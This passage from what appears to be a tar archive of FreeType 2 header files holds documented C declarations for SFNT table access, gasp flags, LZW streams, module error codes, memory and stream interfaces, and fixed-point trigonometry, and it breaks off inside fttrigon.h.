*/ /* */ /* maxPoints :: The maximum number of points in a */ /* non-composite TrueType glyph. See also */ /* `maxCompositePoints'. */ /* */ /* maxContours :: The maximum number of contours in a */ /* non-composite TrueType glyph. See also */ /* `maxCompositeContours'. */ /* */ /* maxCompositePoints :: The maximum number of points in a */ /* composite TrueType glyph. See also */ /* `maxPoints'. */ /* */ /* maxCompositeContours :: The maximum number of contours in a */ /* composite TrueType glyph. See also */ /* `maxContours'. */ /* */ /* maxZones :: The maximum number of zones used for */ /* glyph hinting. */ /* */ /* maxTwilightPoints :: The maximum number of points in the */ /* twilight zone used for glyph hinting. */ /* */ /* maxStorage :: The maximum number of elements in the */ /* storage area used for glyph hinting. */ /* */ /* maxFunctionDefs :: The maximum number of function */ /* definitions in the TrueType bytecode for */ /* this font. */ /* */ /* maxInstructionDefs :: The maximum number of instruction */ /* definitions in the TrueType bytecode for */ /* this font. */ /* */ /* maxStackElements :: The maximum number of stack elements used */ /* during bytecode interpretation. */ /* */ /* maxSizeOfInstructions :: The maximum number of TrueType opcodes */ /* used for glyph hinting. */ /* */ /* maxComponentElements :: The maximum number of simple (i.e., non- */ /* composite) glyphs in a composite glyph. */ /* */ /* maxComponentDepth :: The maximum nesting depth of composite */ /* glyphs. */ /* */ /* <Note> */ /* This structure is only used during font loading. */ /* */ typedef struct TT_MaxProfile_ { FT_Fixed version; FT_UShort numGlyphs; FT_UShort maxPoints; FT_UShort maxContours; FT_UShort maxCompositePoints; FT_UShort maxCompositeContours; FT_UShort maxZones; FT_UShort maxTwilightPoints; FT_UShort maxStorage; FT_UShort maxFunctionDefs; FT_UShort maxInstructionDefs; FT_UShort maxStackElements; FT_UShort maxSizeOfInstructions; FT_UShort maxComponentElements; FT_UShort maxComponentDepth; } TT_MaxProfile; /*************************************************************************/ /* */ /* <Enum> */ /* FT_Sfnt_Tag */ /* */ /* <Description> */ /* An enumeration to specify indices of SFNT tables loaded and parsed */ /* by FreeType during initialization of an SFNT font. Used in the */ /* @FT_Get_Sfnt_Table API function. */ /* */ /* <Values> */ /* FT_SFNT_HEAD :: To access the font's @TT_Header structure. */ /* */ /* FT_SFNT_MAXP :: To access the font's @TT_MaxProfile structure. */ /* */ /* FT_SFNT_OS2 :: To access the font's @TT_OS2 structure. */ /* */ /* FT_SFNT_HHEA :: To access the font's @TT_HoriHeader structure. */ /* */ /* FT_SFNT_VHEA :: To access the font's @TT_VertHeader structure. */ /* */ /* FT_SFNT_POST :: To access the font's @TT_Postscript structure. */ /* */ /* FT_SFNT_PCLT :: To access the font's @TT_PCLT structure. */ /* */ typedef enum FT_Sfnt_Tag_ { FT_SFNT_HEAD, FT_SFNT_MAXP, FT_SFNT_OS2, FT_SFNT_HHEA, FT_SFNT_VHEA, FT_SFNT_POST, FT_SFNT_PCLT, FT_SFNT_MAX } FT_Sfnt_Tag; /* these constants are deprecated; use the corresponding `FT_Sfnt_Tag' */ /* values instead */ #define ft_sfnt_head FT_SFNT_HEAD #define ft_sfnt_maxp FT_SFNT_MAXP #define ft_sfnt_os2 FT_SFNT_OS2 #define ft_sfnt_hhea FT_SFNT_HHEA #define ft_sfnt_vhea FT_SFNT_VHEA #define ft_sfnt_post FT_SFNT_POST #define ft_sfnt_pclt FT_SFNT_PCLT /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Sfnt_Table */ /* */ /* <Description> */ /* Return a pointer to a given SFNT table stored within a face. */ /* */ /* <Input> */ /* face :: A handle to the source. */ /* */ /* tag :: The index of the SFNT table. */ /* */ /* <Return> */ /* A type-less pointer to the table. This will be NULL in case of */ /* error, or if the corresponding table was not found *OR* loaded */ /* from the file. */ /* */ /* Use a typecast according to `tag' to access the structure */ /* elements. */ /* */ /* <Note> */ /* The table is owned by the face object and disappears with it. */ /* */ /* This function is only useful to access SFNT tables that are loaded */ /* by the sfnt, truetype, and opentype drivers. See @FT_Sfnt_Tag for */ /* a list. */ /* */ /* Here an example how to access the `vhea' table: */ /* */ /* { */ /* TT_VertHeader* vert_header; */ /* */ /* */ /* vert_header = */ /* (TT_VertHeader*)FT_Get_Sfnt_Table( face, FT_SFNT_VHEA ); */ /* } */ /* */ FT_EXPORT( void* ) FT_Get_Sfnt_Table( FT_Face face, FT_Sfnt_Tag tag ); /************************************************************************** * * @function: * FT_Load_Sfnt_Table * * @description: * Load any SFNT font table into client memory. * * @input: * face :: * A handle to the source face. * * tag :: * The four-byte tag of the table to load. Use value~0 if you want * to access the whole font file. Otherwise, you can use one of the * definitions found in the @FT_TRUETYPE_TAGS_H file, or forge a new * one with @FT_MAKE_TAG. * * offset :: * The starting offset in the table (or file if tag~==~0). * * @output: * buffer :: * The target buffer address. The client must ensure that the memory * array is big enough to hold the data. * * @inout: * length :: * If the `length' parameter is NULL, try to load the whole table. * Return an error code if it fails. * * Else, if `*length' is~0, exit immediately while returning the * table's (or file) full size in it. * * Else the number of bytes to read from the table or file, from the * starting offset. * * @return: * FreeType error code. 0~means success. * * @note: * If you need to determine the table's length you should first call this * function with `*length' set to~0, as in the following example: * * { * FT_ULong length = 0; * * * error = FT_Load_Sfnt_Table( face, tag, 0, NULL, &length ); * if ( error ) { ... table does not exist ... } * * buffer = malloc( length ); * if ( buffer == NULL ) { ... not enough memory ... } * * error = FT_Load_Sfnt_Table( face, tag, 0, buffer, &length ); * if ( error ) { ... could not load table ... } * } * * Note that structures like @TT_Header or @TT_OS2 can't be used with * this function; they are limited to @FT_Get_Sfnt_Table. Reason is that * those structures depend on the processor architecture, with varying * size (e.g. 32bit vs. 64bit) or order (big endian vs. little endian). * */ FT_EXPORT( FT_Error ) FT_Load_Sfnt_Table( FT_Face face, FT_ULong tag, FT_Long offset, FT_Byte* buffer, FT_ULong* length ); /************************************************************************** * * @function: * FT_Sfnt_Table_Info * * @description: * Return information on an SFNT table. * * @input: * face :: * A handle to the source face. * * table_index :: * The index of an SFNT table. The function returns * FT_Err_Table_Missing for an invalid value. * * @inout: * tag :: * The name tag of the SFNT table. If the value is NULL, `table_index' * is ignored, and `length' returns the number of SFNT tables in the * font. * * @output: * length :: * The length of the SFNT table (or the number of SFNT tables, depending * on `tag'). * * @return: * FreeType error code. 0~means success. * * @note: * While parsing fonts, FreeType handles SFNT tables with length zero as * missing. * */ FT_EXPORT( FT_Error ) FT_Sfnt_Table_Info( FT_Face face, FT_UInt table_index, FT_ULong *tag, FT_ULong *length ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_CMap_Language_ID */ /* */ /* <Description> */ /* Return cmap language ID as specified in the OpenType standard. */ /* Definitions of language ID values are in file @FT_TRUETYPE_IDS_H. */ /* */ /* <Input> */ /* charmap :: */ /* The target charmap. */ /* */ /* <Return> */ /* The language ID of `charmap'. If `charmap' doesn't belong to an */ /* SFNT face, just return~0 as the default value. */ /* */ /* For a format~14 cmap (to access Unicode IVS), the return value is */ /* 0xFFFFFFFF. */ /* */ FT_EXPORT( FT_ULong ) FT_Get_CMap_Language_ID( FT_CharMap charmap ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_CMap_Format */ /* */ /* <Description> */ /* Return the format of an SFNT `cmap' table. */ /* */ /* <Input> */ /* charmap :: */ /* The target charmap. */ /* */ /* <Return> */ /* The format of `charmap'. If `charmap' doesn't belong to an SFNT */ /* face, return -1. */ /* */ FT_EXPORT( FT_Long ) FT_Get_CMap_Format( FT_CharMap charmap ); /* */ FT_END_HEADER #endif /* TTTABLES_H_ */ /* END */ freetype2/freetype/ftgasp.h 0000644 00000011326 15246445047 0011747 0 ustar 00 /***************************************************************************/ /* */ /* ftgasp.h */ /* */ /* Access of TrueType's `gasp' table (specification). */ /* */ /* Copyright 2007-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTGASP_H_ #define FTGASP_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************** * * @section: * gasp_table * * @title: * Gasp Table * * @abstract: * Retrieving TrueType `gasp' table entries. * * @description: * The function @FT_Get_Gasp can be used to query a TrueType or OpenType * font for specific entries in its `gasp' table, if any. This is * mainly useful when implementing native TrueType hinting with the * bytecode interpreter to duplicate the Windows text rendering results. */ /************************************************************************* * * @enum: * FT_GASP_XXX * * @description: * A list of values and/or bit-flags returned by the @FT_Get_Gasp * function. * * @values: * FT_GASP_NO_TABLE :: * This special value means that there is no GASP table in this face. * It is up to the client to decide what to do. * * FT_GASP_DO_GRIDFIT :: * Grid-fitting and hinting should be performed at the specified ppem. * This *really* means TrueType bytecode interpretation. If this bit * is not set, no hinting gets applied. * * FT_GASP_DO_GRAY :: * Anti-aliased rendering should be performed at the specified ppem. * If not set, do monochrome rendering. * * FT_GASP_SYMMETRIC_SMOOTHING :: * If set, smoothing along multiple axes must be used with ClearType. * * FT_GASP_SYMMETRIC_GRIDFIT :: * Grid-fitting must be used with ClearType's symmetric smoothing. * * @note: * The bit-flags `FT_GASP_DO_GRIDFIT' and `FT_GASP_DO_GRAY' are to be * used for standard font rasterization only. Independently of that, * `FT_GASP_SYMMETRIC_SMOOTHING' and `FT_GASP_SYMMETRIC_GRIDFIT' are to * be used if ClearType is enabled (and `FT_GASP_DO_GRIDFIT' and * `FT_GASP_DO_GRAY' are consequently ignored). * * `ClearType' is Microsoft's implementation of LCD rendering, partly * protected by patents. * * @since: * 2.3.0 */ #define FT_GASP_NO_TABLE -1 #define FT_GASP_DO_GRIDFIT 0x01 #define FT_GASP_DO_GRAY 0x02 #define FT_GASP_SYMMETRIC_GRIDFIT 0x04 #define FT_GASP_SYMMETRIC_SMOOTHING 0x08 /************************************************************************* * * @func: * FT_Get_Gasp * * @description: * For a TrueType or OpenType font file, return the rasterizer behaviour * flags from the font's `gasp' table corresponding to a given * character pixel size. * * @input: * face :: The source face handle. * * ppem :: The vertical character pixel size. * * @return: * Bit flags (see @FT_GASP_XXX), or @FT_GASP_NO_TABLE if there is no * `gasp' table in the face. * * @note: * If you want to use the MM functionality of OpenType variation fonts * (i.e., using @FT_Set_Var_Design_Coordinates and friends), call this * function *after* setting an instance since the return values can * change. * * @since: * 2.3.0 */ FT_EXPORT( FT_Int ) FT_Get_Gasp( FT_Face face, FT_UInt ppem ); /* */ FT_END_HEADER #endif /* FTGASP_H_ */ /* END */ freetype2/freetype/ftlzw.h 0000644 00000010230 15246445047 0011622 0 ustar 00 /***************************************************************************/ /* */ /* ftlzw.h */ /* */ /* LZW-compressed stream support. */ /* */ /* Copyright 2004-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTLZW_H_ #define FTLZW_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* lzw */ /* */ /* <Title> */ /* LZW Streams */ /* */ /* <Abstract> */ /* Using LZW-compressed font files. */ /* */ /* <Description> */ /* This section contains the declaration of LZW-specific functions. */ /* */ /*************************************************************************/ /************************************************************************ * * @function: * FT_Stream_OpenLZW * * @description: * Open a new stream to parse LZW-compressed font files. This is * mainly used to support the compressed `*.pcf.Z' fonts that come * with XFree86. * * @input: * stream :: The target embedding stream. * * source :: The source stream. * * @return: * FreeType error code. 0~means success. * * @note: * The source stream must be opened _before_ calling this function. * * Calling the internal function `FT_Stream_Close' on the new stream will * *not* call `FT_Stream_Close' on the source stream. None of the stream * objects will be released to the heap. * * The stream implementation is very basic and resets the decompression * process each time seeking backwards is needed within the stream * * In certain builds of the library, LZW compression recognition is * automatically handled when calling @FT_New_Face or @FT_Open_Face. * This means that if no font driver is capable of handling the raw * compressed file, the library will try to open a LZW stream from it * and re-open the face with it. * * This function may return `FT_Err_Unimplemented_Feature' if your build * of FreeType was not compiled with LZW support. */ FT_EXPORT( FT_Error ) FT_Stream_OpenLZW( FT_Stream stream, FT_Stream source ); /* */ FT_END_HEADER #endif /* FTLZW_H_ */ /* END */ freetype2/freetype/ftmoderr.h 0000644 00000024261 15246445047 0012307 0 ustar 00 /***************************************************************************/ /* */ /* ftmoderr.h */ /* */ /* FreeType module error offsets (specification). */ /* */ /* Copyright 2001-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ /*************************************************************************/ /* */ /* This file is used to define the FreeType module error codes. */ /* */ /* If the macro FT_CONFIG_OPTION_USE_MODULE_ERRORS in `ftoption.h' is */ /* set, the lower byte of an error value identifies the error code as */ /* usual. In addition, the higher byte identifies the module. For */ /* example, the error `FT_Err_Invalid_File_Format' has value 0x0003, the */ /* error `TT_Err_Invalid_File_Format' has value 0x1303, the error */ /* `T1_Err_Invalid_File_Format' has value 0x1403, etc. */ /* */ /* Note that `FT_Err_Ok', `TT_Err_Ok', etc. are always equal to zero, */ /* including the high byte. */ /* */ /* If FT_CONFIG_OPTION_USE_MODULE_ERRORS isn't set, the higher byte of */ /* an error value is set to zero. */ /* */ /* To hide the various `XXX_Err_' prefixes in the source code, FreeType */ /* provides some macros in `fttypes.h'. */ /* */ /* FT_ERR( err ) */ /* Add current error module prefix (as defined with the */ /* `FT_ERR_PREFIX' macro) to `err'. For example, in the BDF module */ /* the line */ /* */ /* error = FT_ERR( Invalid_Outline ); */ /* */ /* expands to */ /* */ /* error = BDF_Err_Invalid_Outline; */ /* */ /* For simplicity, you can always use `FT_Err_Ok' directly instead */ /* of `FT_ERR( Ok )'. */ /* */ /* FT_ERR_EQ( errcode, err ) */ /* FT_ERR_NEQ( errcode, err ) */ /* Compare error code `errcode' with the error `err' for equality */ /* and inequality, respectively. Example: */ /* */ /* if ( FT_ERR_EQ( error, Invalid_Outline ) ) */ /* ... */ /* */ /* Using this macro you don't have to think about error prefixes. */ /* Of course, if module errors are not active, the above example is */ /* the same as */ /* */ /* if ( error == FT_Err_Invalid_Outline ) */ /* ... */ /* */ /* FT_ERROR_BASE( errcode ) */ /* FT_ERROR_MODULE( errcode ) */ /* Get base error and module error code, respectively. */ /* */ /* */ /* It can also be used to create a module error message table easily */ /* with something like */ /* */ /* { */ /* #undef FTMODERR_H_ */ /* #define FT_MODERRDEF( e, v, s ) { FT_Mod_Err_ ## e, s }, */ /* #define FT_MODERR_START_LIST { */ /* #define FT_MODERR_END_LIST { 0, 0 } }; */ /* */ /* const struct */ /* { */ /* int mod_err_offset; */ /* const char* mod_err_msg */ /* } ft_mod_errors[] = */ /* */ /* #include FT_MODULE_ERRORS_H */ /* } */ /* */ /*************************************************************************/ #ifndef FTMODERR_H_ #define FTMODERR_H_ /*******************************************************************/ /*******************************************************************/ /***** *****/ /***** SETUP MACROS *****/ /***** *****/ /*******************************************************************/ /*******************************************************************/ #undef FT_NEED_EXTERN_C #ifndef FT_MODERRDEF #ifdef FT_CONFIG_OPTION_USE_MODULE_ERRORS #define FT_MODERRDEF( e, v, s ) FT_Mod_Err_ ## e = v, #else #define FT_MODERRDEF( e, v, s ) FT_Mod_Err_ ## e = 0, #endif #define FT_MODERR_START_LIST enum { #define FT_MODERR_END_LIST FT_Mod_Err_Max }; #ifdef __cplusplus #define FT_NEED_EXTERN_C extern "C" { #endif #endif /* !FT_MODERRDEF */ /*******************************************************************/ /*******************************************************************/ /***** *****/ /***** LIST MODULE ERROR BASES *****/ /***** *****/ /*******************************************************************/ /*******************************************************************/ #ifdef FT_MODERR_START_LIST FT_MODERR_START_LIST #endif FT_MODERRDEF( Base, 0x000, "base module" ) FT_MODERRDEF( Autofit, 0x100, "autofitter module" ) FT_MODERRDEF( BDF, 0x200, "BDF module" ) FT_MODERRDEF( Bzip2, 0x300, "Bzip2 module" ) FT_MODERRDEF( Cache, 0x400, "cache module" ) FT_MODERRDEF( CFF, 0x500, "CFF module" ) FT_MODERRDEF( CID, 0x600, "CID module" ) FT_MODERRDEF( Gzip, 0x700, "Gzip module" ) FT_MODERRDEF( LZW, 0x800, "LZW module" ) FT_MODERRDEF( OTvalid, 0x900, "OpenType validation module" ) FT_MODERRDEF( PCF, 0xA00, "PCF module" ) FT_MODERRDEF( PFR, 0xB00, "PFR module" ) FT_MODERRDEF( PSaux, 0xC00, "PS auxiliary module" ) FT_MODERRDEF( PShinter, 0xD00, "PS hinter module" ) FT_MODERRDEF( PSnames, 0xE00, "PS names module" ) FT_MODERRDEF( Raster, 0xF00, "raster module" ) FT_MODERRDEF( SFNT, 0x1000, "SFNT module" ) FT_MODERRDEF( Smooth, 0x1100, "smooth raster module" ) FT_MODERRDEF( TrueType, 0x1200, "TrueType module" ) FT_MODERRDEF( Type1, 0x1300, "Type 1 module" ) FT_MODERRDEF( Type42, 0x1400, "Type 42 module" ) FT_MODERRDEF( Winfonts, 0x1500, "Windows FON/FNT module" ) FT_MODERRDEF( GXvalid, 0x1600, "GX validation module" ) #ifdef FT_MODERR_END_LIST FT_MODERR_END_LIST #endif /*******************************************************************/ /*******************************************************************/ /***** *****/ /***** CLEANUP *****/ /***** *****/ /*******************************************************************/ /*******************************************************************/ #ifdef FT_NEED_EXTERN_C } #endif #undef FT_MODERR_START_LIST #undef FT_MODERR_END_LIST #undef FT_MODERRDEF #undef FT_NEED_EXTERN_C #endif /* FTMODERR_H_ */ /* END */ freetype2/freetype/ftchapters.h 0000644 00000023161 15246445047 0012626 0 ustar 00 /***************************************************************************/ /* */ /* This file defines the structure of the FreeType reference. */ /* It is used by the python script that generates the HTML files. */ /* */ /***************************************************************************/ /***************************************************************************/ /* */ /* <Chapter> */ /* general_remarks */ /* */ /* <Title> */ /* General Remarks */ /* */ /* <Sections> */ /* header_inclusion */ /* user_allocation */ /* */ /***************************************************************************/ /***************************************************************************/ /* */ /* <Chapter> */ /* core_api */ /* */ /* <Title> */ /* Core API */ /* */ /* <Sections> */ /* version */ /* basic_types */ /* base_interface */ /* glyph_variants */ /* glyph_management */ /* mac_specific */ /* sizes_management */ /* header_file_macros */ /* */ /***************************************************************************/ /***************************************************************************/ /* */ /* <Chapter> */ /* format_specific */ /* */ /* <Title> */ /* Format-Specific API */ /* */ /* <Sections> */ /* multiple_masters */ /* truetype_tables */ /* type1_tables */ /* sfnt_names */ /* bdf_fonts */ /* cid_fonts */ /* pfr_fonts */ /* winfnt_fonts */ /* font_formats */ /* gasp_table */ /* */ /***************************************************************************/ /***************************************************************************/ /* */ /* <Chapter> */ /* module_specific */ /* */ /* <Title> */ /* Controlling FreeType Modules */ /* */ /* <Sections> */ /* auto_hinter */ /* cff_driver */ /* t1_cid_driver */ /* tt_driver */ /* pcf_driver */ /* properties */ /* parameter_tags */ /* */ /***************************************************************************/ /***************************************************************************/ /* */ /* <Chapter> */ /* cache_subsystem */ /* */ /* <Title> */ /* Cache Sub-System */ /* */ /* <Sections> */ /* cache_subsystem */ /* */ /***************************************************************************/ /***************************************************************************/ /* */ /* <Chapter> */ /* support_api */ /* */ /* <Title> */ /* Support API */ /* */ /* <Sections> */ /* computations */ /* list_processing */ /* outline_processing */ /* quick_advance */ /* bitmap_handling */ /* raster */ /* glyph_stroker */ /* system_interface */ /* module_management */ /* gzip */ /* lzw */ /* bzip2 */ /* lcd_filtering */ /* */ /***************************************************************************/ /***************************************************************************/ /* */ /* <Chapter> */ /* error_codes */ /* */ /* <Title> */ /* Error Codes */ /* */ /* <Sections> */ /* error_enumerations */ /* error_code_values */ /* */ /***************************************************************************/ freetype2/freetype/ftsystem.h 0000644 00000024472 15246445047 0012347 0 ustar 00 /***************************************************************************/ /* */ /* ftsystem.h */ /* */ /* FreeType low-level system interface definition (specification). */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTSYSTEM_H_ #define FTSYSTEM_H_ #include <ft2build.h> FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* system_interface */ /* */ /* <Title> */ /* System Interface */ /* */ /* <Abstract> */ /* How FreeType manages memory and i/o. */ /* */ /* <Description> */ /* This section contains various definitions related to memory */ /* management and i/o access. You need to understand this */ /* information if you want to use a custom memory manager or you own */ /* i/o streams. */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* M E M O R Y M A N A G E M E N T */ /* */ /*************************************************************************/ /************************************************************************* * * @type: * FT_Memory * * @description: * A handle to a given memory manager object, defined with an * @FT_MemoryRec structure. * */ typedef struct FT_MemoryRec_* FT_Memory; /************************************************************************* * * @functype: * FT_Alloc_Func * * @description: * A function used to allocate `size' bytes from `memory'. * * @input: * memory :: * A handle to the source memory manager. * * size :: * The size in bytes to allocate. * * @return: * Address of new memory block. 0~in case of failure. * */ typedef void* (*FT_Alloc_Func)( FT_Memory memory, long size ); /************************************************************************* * * @functype: * FT_Free_Func * * @description: * A function used to release a given block of memory. * * @input: * memory :: * A handle to the source memory manager. * * block :: * The address of the target memory block. * */ typedef void (*FT_Free_Func)( FT_Memory memory, void* block ); /************************************************************************* * * @functype: * FT_Realloc_Func * * @description: * A function used to re-allocate a given block of memory. * * @input: * memory :: * A handle to the source memory manager. * * cur_size :: * The block's current size in bytes. * * new_size :: * The block's requested new size. * * block :: * The block's current address. * * @return: * New block address. 0~in case of memory shortage. * * @note: * In case of error, the old block must still be available. * */ typedef void* (*FT_Realloc_Func)( FT_Memory memory, long cur_size, long new_size, void* block ); /************************************************************************* * * @struct: * FT_MemoryRec * * @description: * A structure used to describe a given memory manager to FreeType~2. * * @fields: * user :: * A generic typeless pointer for user data. * * alloc :: * A pointer type to an allocation function. * * free :: * A pointer type to an memory freeing function. * * realloc :: * A pointer type to a reallocation function. * */ struct FT_MemoryRec_ { void* user; FT_Alloc_Func alloc; FT_Free_Func free; FT_Realloc_Func realloc; }; /*************************************************************************/ /* */ /* I / O M A N A G E M E N T */ /* */ /*************************************************************************/ /************************************************************************* * * @type: * FT_Stream * * @description: * A handle to an input stream. * * @also: * See @FT_StreamRec for the publicly accessible fields of a given * stream object. * */ typedef struct FT_StreamRec_* FT_Stream; /************************************************************************* * * @struct: * FT_StreamDesc * * @description: * A union type used to store either a long or a pointer. This is used * to store a file descriptor or a `FILE*' in an input stream. * */ typedef union FT_StreamDesc_ { long value; void* pointer; } FT_StreamDesc; /************************************************************************* * * @functype: * FT_Stream_IoFunc * * @description: * A function used to seek and read data from a given input stream. * * @input: * stream :: * A handle to the source stream. * * offset :: * The offset of read in stream (always from start). * * buffer :: * The address of the read buffer. * * count :: * The number of bytes to read from the stream. * * @return: * The number of bytes effectively read by the stream. * * @note: * This function might be called to perform a seek or skip operation * with a `count' of~0. A non-zero return value then indicates an * error. * */ typedef unsigned long (*FT_Stream_IoFunc)( FT_Stream stream, unsigned long offset, unsigned char* buffer, unsigned long count ); /************************************************************************* * * @functype: * FT_Stream_CloseFunc * * @description: * A function used to close a given input stream. * * @input: * stream :: * A handle to the target stream. * */ typedef void (*FT_Stream_CloseFunc)( FT_Stream stream ); /************************************************************************* * * @struct: * FT_StreamRec * * @description: * A structure used to describe an input stream. * * @input: * base :: * For memory-based streams, this is the address of the first stream * byte in memory. This field should always be set to NULL for * disk-based streams. * * size :: * The stream size in bytes. * * In case of compressed streams where the size is unknown before * actually doing the decompression, the value is set to 0x7FFFFFFF. * (Note that this size value can occur for normal streams also; it is * thus just a hint.) * * pos :: * The current position within the stream. * * descriptor :: * This field is a union that can hold an integer or a pointer. It is * used by stream implementations to store file descriptors or `FILE*' * pointers. * * pathname :: * This field is completely ignored by FreeType. However, it is often * useful during debugging to use it to store the stream's filename * (where available). * * read :: * The stream's input function. * * close :: * The stream's close function. * * memory :: * The memory manager to use to preload frames. This is set * internally by FreeType and shouldn't be touched by stream * implementations. * * cursor :: * This field is set and used internally by FreeType when parsing * frames. * * limit :: * This field is set and used internally by FreeType when parsing * frames. * */ typedef struct FT_StreamRec_ { unsigned char* base; unsigned long size; unsigned long pos; FT_StreamDesc descriptor; FT_StreamDesc pathname; FT_Stream_IoFunc read; FT_Stream_CloseFunc close; FT_Memory memory; unsigned char* cursor; unsigned char* limit; } FT_StreamRec; /* */ FT_END_HEADER #endif /* FTSYSTEM_H_ */ /* END */ freetype2/freetype/fttrigon.h 0000644 00000020350 15246445047 0012314 0 ustar 00 /***************************************************************************/ /* */ /* fttrigon.h */ /* */ /* FreeType trigonometric functions (specification). */ /* */ /* Copyright 2001-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTTRIGON_H_ #define FTTRIGON_H_ #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* computations */ /* */ /*************************************************************************/ /************************************************************************* * * @type: * FT_Angle * * @description: * This type is used to model angle values in FreeType. Note that the * angle is a 16.16 fixed-point value expressed in degrees. * */ typedef FT_Fixed FT_Angle; /************************************************************************* * * @macro: * FT_ANGLE_PI * * @description: * The angle pi expressed in @FT_Angle units. * */ #define FT_ANGLE_PI ( 180L << 16 ) /************************************************************************* * * @macro: * FT_ANGLE_2PI * * @description: * The angle 2*pi expressed in @FT_Angle units. * */ #define FT_ANGLE_2PI ( FT_ANGLE_PI * 2 ) /************************************************************************* * * @macro: * FT_ANGLE_PI2 * * @description: * The angle pi/2 expressed in @FT_Angle units. * */ #define FT_ANGLE_PI2 ( FT_ANGLE_PI / 2 ) /************************************************************************* * * @macro: * FT_ANGLE_PI4 * * @description: * The angle pi/4 expressed in @FT_Angle units. * */ #define FT_ANGLE_PI4 ( FT_ANGLE_PI / 4 ) /************************************************************************* * * @function: * FT_Sin * * @description: * Return the sinus of a given angle in fixed-point format. * * @input: * angle :: * The input angle. * * @return: * The sinus value. * * @note: * If you need both the sinus and cosinus for a given angle, use the * function @FT_Vector_Unit. * */ FT_EXPORT( FT_Fixed ) FT_Sin( FT_Angle angle ); /************************************************************************* * * @function: * FT_Cos * * @description: * Return the cosinus of a given angle in fixed-point format. * * @input: * angle :: * The input angle. * * @return: * The cosinus value. * * @note: * If you need both the sinus and cosinus for a given angle, use the * function @FT_Vector_Unit. * */ FT_EXPORT( FT_Fixed ) FT_Cos( FT_Angle angle ); /************************************************************************* * * @function: * FT_Tan * * @description: * Return the tangent of a given angle in fixed-point format. * * @input: * angle :: * The input angle. * * @return: * The tangent value. * */ FT_EXPORT( FT_Fixed ) FT_Tan( FT_Angle angle ); /************************************************************************* * * @function: * FT_Atan2 * * @description: * Return the arc-tangent corresponding to a given vector (x,y) in * the 2d plane. * * @input: * x :: * The horizontal vector coordinate. * * y :: * The vertical vector coordinate. * * @return: * The arc-tangent value (i.e. angle). * */ FT_EXPORT( FT_Angle ) FT_Atan2( FT_Fixed x, FT_Fixed y ); /************************************************************************* * * @function: * FT_Angle_Diff * * @description: * Return the difference between two angles. The result is always * constrained to the ]-PI..PI] interval. * * @input: * angle1 :: * First angle. * * angle2 :: * Second angle. * * @return: * Constrained value of `value2-value1'. * */ FT_EXPORT( FT_Angle ) FT_Angle_Diff( FT_Angle angle1, FT_Angle angle2 ); /************************************************************************* * * @function: * FT_Vector_Unit * * @description: * Return the unit vector corresponding to a given angle. After the * call, the value of `vec.x' will be `cos(angle)', and the value of * `vec.y' will be `sin(angle)'. * * This function is useful to retrieve both the sinus and cosinus of a * given angle quickly. * * @output: * vec :: * The address of target vector. * * @input: * angle :: * The input angle. * */ FT_EXPORT( void ) FT_Vector_Unit( FT_Vector* vec, FT_Angle angle ); /************************************************************************* * * @function: * FT_Vector_Rotate * * @description: * Rotate a vector by a given angle. * * @inout: * vec :: * The address of target vector. * * @input: * angle :: * The input angle. * */ FT_EXPORT( void ) FT_Vector_Rotate( FT_Vector* vec, FT_Angle angle ); /************************************************************************* * * @function: * FT_Vector_Length * * @description: * Return the length of a given vector. * * @input: * vec :: * The address of target vector. * * @return: * The vector length, expressed in the same units that the original * vector coordinates. * */ FT_EXPORT( FT_Fixed ) FT_Vector_Length( FT_Vector* vec ); /************************************************************************* * * @function: * FT_Vector_Polarize * * @description: * Compute both the length and angle of a given vector. * * @input: * vec :: * The address of source vector. * * @output: * length :: * The vector length. * * angle :: * The vector angle. * */ FT_EXPORT( void ) FT_Vector_Polarize( FT_Vector* vec, FT_Fixed *length, FT_Angle *angle ); /************************************************************************* * * @function: * FT_Vector_From_Polar * * @description: * Compute vector coordinates from a length and angle. * * @output: * vec :: * The address of source vector. * * @input: * length :: * The vector length. * * angle :: * The vector angle. 